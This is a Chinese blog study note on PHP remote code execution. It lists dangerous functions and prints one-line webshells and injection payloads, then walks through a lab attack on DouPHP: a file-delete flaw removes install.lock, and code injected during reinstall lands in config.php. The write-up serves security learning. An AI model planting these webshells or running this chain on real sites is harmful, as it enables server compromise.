愿浪飒精神伴你左右,网络安全之路任重而道远。

RCE(Remote Code Execution)代码执行

Web渗透学习笔记 langsa 3年前 (2022-01-04) 643次浏览 0个评论

什么是代码执行

用户输入的数据会被当做后端代码进行执行。

一句话木马的本质:代码执行漏洞

<?php eval($_REQUEST["chopper"])?>

代码执行与命令执行的区别

  • 代码执行:用户输入的数据被当后端代码执行 (后端代码可以调用系统函数)

    eg:var_dump() ,$_SERVER

  • 命令执行:用户输入的数据被当系统命令执行(系统命令也可以写文件产生webshell)

    eg:cmd ,bash

原理

​ 由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。

产生原因

  1. 使用命令执行、代码执行函数调取外部应用、执行系统命令

  2. 参数用户可控

  3. 未对用户输入进行过滤、转义和限制

常见危险函数介绍

  1. eval($a):将字符串当做后端代码执行,且可以多行。

    disable_function :禁用函数(用来做防护),在php.ini可以添加需要禁用的函数,但eval()不受影响,所以有eval不是函数的一种说法,属于php的一种特殊写法。

  2. assert($a):将字符串当做后端代码执行,只能执行单行。

    多行执行可以写入文件在执行

    file_put_contents('1.php','')

    注意:菜刀用assert来调用eval,即assert('eval()')。

  3. preg_replace():正则替换函数(替换必须真实发生才会触发函数,不发生替换,不会触发)

    /e模式的作用是将替换串中的内容当作代码来执行,php语言才有。
    preg_replace()使用了 /e 模式,会导致可以代码执行
    
    eg:
       //匹配不到不会触发,且会报错
    
       
       //  /e会有个固定报错
       //匹配到发生替换正常执行
  4. create_function():匿名函数

    eg:$a = create_function('$id','echo $id;');
    调用时用a()即可
    
       create_function('',$_REQUEST[8]);// 
    传参: 8=}phpinfo();//
    实际执行代码闭合了前面的{,注释掉后面的},中间执行恶意代码
  5. $_GET[1]($_GET[2]):有括号传参大概率都可作为代码执行

    传参:1=assert&2=phpinfo();

  6. array_map(要调用的函数,传参):回调函数

    一句话木马:   
    array_map('assert',array($_POST['c']));
    
    array_map($_REQUEST['b'],array($_REQUEST['c']));
    //注意:eval不是函数无法被调用,可以选择assert('eval()')
    

    call_user_func() 也可回调

    更多参考:https://cloud.tencent.com/developer/article/1717677

  7. "${phpinfo()}":字符串二次解析(PHP版本5.5及其以上版本可以使用)

    如果字符串是包围在双引号(")中,PHP会对其特殊解析。

    详见:https://www.php.net/manual/zh/language.types.string.php

漏洞危害

  1. 继承web应用权限执行系统命令、读写文件。
  2. 反弹shell
  3. 控制服务器
  4. 攻击内网

靶场练习

靶场为DouPHP的cms系统,我们通过安装的方法来拿shell。

DouPHP在安装时会生成配置文件,通过特殊输入,来形成代码执行。

由于一般不出现安装界面,所以我们可以通过删除已安装的配置文件造成重装。

安装完一般会有xx.lock或者lock.xx的安装锁定文件,删除它即可重装。

1.我们在本地安装DouPHP,

image-20220104022838064

2.发现在data目录下多了一个install.lock和config.php

image-20220104021557708

3.访问install会提示我被锁定

image-20220104020537687

4.删除install.lock访问网站已经需要重新安装

image-20220104022907936

5.现在去线上靶场后台,下面是审计过程在代码中找到可以删除移动端logo的一个模块,看是否能够删除install.lock

image-20220104023215301

6.登陆后台来到删除logo的地方

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0tSdctCA-1668436877158)(https://s2.loli.net/2022/01/04/SPMBYWD57RE6INf.png)]

7.抓包看到删除logo的文件名

image-20220104024718907

8.代码中发现mobile_logo是post传参image-20220104025005437

9.post传参我们删除filename,直接在下面传要删除的文件目录即可

image-20220104144913834

10.抵达目标文件后点击删除

image-20220104030237468

11.删除完毕,自动跳转到了安装界面image-20220104144955228

12.在数据库帐号处输入代码,提交在config.php中生成恶意代码。

image-20220104145841794

13.config.php已经生成

image-20220104150205926

14.木马连接成功,拿到flag

image-20220104150502708


本文标题:RCE(Remote Code Execution)代码执行
本文链接:https://blog.langsasec.cn/index.php/2022/01/04/rce1/
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
喜欢 (2)
[]
分享 (0)
langsa
关于作者:
一个网络安全从业人员
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址